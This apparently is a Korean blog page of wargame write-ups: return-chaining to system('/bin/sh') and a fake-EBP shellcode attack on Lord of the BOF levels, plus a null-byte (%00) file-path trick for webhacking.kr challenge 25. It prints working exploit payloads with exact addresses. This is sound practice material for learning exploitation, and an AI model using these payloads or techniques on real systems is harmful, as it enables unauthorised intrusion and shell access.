'전체 글'에 해당되는 글 1000건

소스가 상당히 길어졌다.


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}


근데 결국 보면 MO함수가 실행되서 system함수가 실행되면 되는거다. 일단 공유라이브러리는 안되고 ret가 DO함수 주소여야 한다. 그렇다면 ret를 DO함수로 만든다음 MO함수까지 호출하도록 하면 되는데 MO함수 내에선 또 check값이 4여야만 system함수가 호출된다. 그렇다면 check값은 MO함수를 제외한 나머지 함수에 의해 순차적으로 값이 세팅된다. 결국 DO -> GYE -> GUL -> YUT -> MO 형식으로 호출이 되면 된다.

ret부터 148 바이트가 초기화가 안되기 때문에 ret뒤의 값들을 활용하면 된다.


이런식이다.

DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소

RET부터 일케 넣어주면 맨처음 DO함수로 EIP가 변경된뒤 DO함수 종료시에 RET가 실행되면서 기존에 넣어둔 GYE로 EIP가 변경되고 같은형식으로 쭉 MO함수까지 호출이 되게된다.


DO  = 0x080487ec


GYE = 0x080487bc


GUL = 0x0804878c


YUT = 0x0804875c


MO  = 0x08048724



실제로 넣어보면 MO함수까지 호출되는 것을 알 수 있고 system함수에 인자값이 제대로 들어오지 않아 오류가 난것을 확인할 수 있다.


이제 system함수내에 들어갈 /bin/sh 문자열 주소를 구하면 되는데 공유라이브러리 영역과 환경변수 buf~buf+44영역에는 담을수가 없다. 그치만 buf48~buf148 영역의 100byte라는 충분한 메모리 공간이 있기 때문에 이를 활용해주면 된다.


함수 주소를 모두 넣어준뒤 마지막 MO함수에서는 자신의 인자값으로 system함수의 인자값을 세팅하므로 MO함수의 인자값이 들어가는 위치에 맞춰 아래와 같은 방식으로 세팅을 해주면 된다.


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"


bin/sh문자열 주소는 위에서도 언급했듯이  


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"+"/bin/sh 헥사값"


요렇게 /bin/sh값을 아예 buf48~buf148영역에 박아넣고 그주소를 system함수 인자값으로 세팅해주면 된다.


필요한 개념은 다 정리됬으니 이제 맞춰 페이로드를 짜면된다.


./succubua `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xee\xee\xee\xee"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



일단 버퍼에 넣어놓은 /bin/sh값의 정확한 메모리 주소를 모르기 때문에 /bin/sh 문자열주소는 임의의 값으로 세팅한뒤 세그먼트 fault낸뒤 core파일로 분석했다.



/bin/sh문자열의 주소는 0xbffffaa8이었다.


이제 모든 재료는 다 구했으니 그대로 익스플로잇해주면 된다.


./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



잘나온당.






 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같이 RET값을 스택 및 공유 라이브러리 영역으로 지정할 수 없고 이전단계에서 추가된 사항으로 인해 RET뒤로는 값을 채울수가 없다. SFP와 RET만 가지고 뭔갈 해야되는데 친절하게 FEBP라고 Fake EBP 기법을 쓰라고 적혀있다.



FAKE EBP 기법을 간단히 설명하면 EBP값을 조작한 뒤 RET에 leave ret Gadget을 넣어 leave ret을 한번더 실행하게하면 현재 EBP영역의 4바이트값이 leave명령어에 의해 제거되고 결국 EBP+4영역의 4바이트값이 ret를 통해 실행되는 형식이다.

조작할 EBP 영역은 쉘코드의 주소값이 담긴 영역에 -4바이트 이다. 

여러가지 방법이 있지만 현재 buf에 내가원하는 값을 담을 수 있기 때문에 buf에 쉘코드 주소를 담고 실제 쉘코드는 성공확률을 높이기위해 NOP를 많이 박으려고 환경변수를 통해 올려놨다.



먼저 환경변수에 쉘코드를 올려놓은 후 주소를 구했다.


그럼 현재까지 "\x96\xfe\xff\xbf"+"A"*36+"buf-4주소"+"leave ret gadget 주소" 이렇게 완성할 수 있고 buf-4주소는 임의의 값을 넣은 후 세그먼트 fault 발생시켜 코어파일을 통해 구했다.



buf-4 주소 = 0xbffff9bc

현재까지 페이로드는 "\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"leave ret gadget 주소" 이고 마지막으로 leave ret gadget은 main 함수 맨 마지막에 있는 주소를 썼다.



 leave ret gadget 주소 = 0x80484df


이제 필요한건 다구했으니 익스플로잇 해주면된다.

"\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"\xdf\x84\x04\x08"






'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 25번 문제다.

점수는 150point.

들어가보니 파일 목록같은게 나오고 있고 url보면 file이라는 변수에 파일명을 입력해주는 것 같다.

딱봐도 password.php라는 파일이 수상하다. 한번 열어보려고 입력해봤다. 근데 아무런 메시지가 안나오고 그대로 hello world다.

흠... 그러고보니 위에 hello.txt같은경우 hello만 쳐도 메시지가 나와있다. 아마 자동으로 .txt를 붙여주는 것 같다. 그럼 내가 password.php를 입력하면 password.php.txt가 되서 password.php 페이지로 못가는 것같다. 그래서 password.php뒤에 null문자를 줘서 문자열을 끝내봤다. null의 url encoding 값인 %00을 줘봤다.

다음과 같이 뒤에 확장자 .txt가 무시되어 정상적으로 패스워드가 나오게 된다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 27번  (0) 2018.01.12
webhacking.kr 26번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,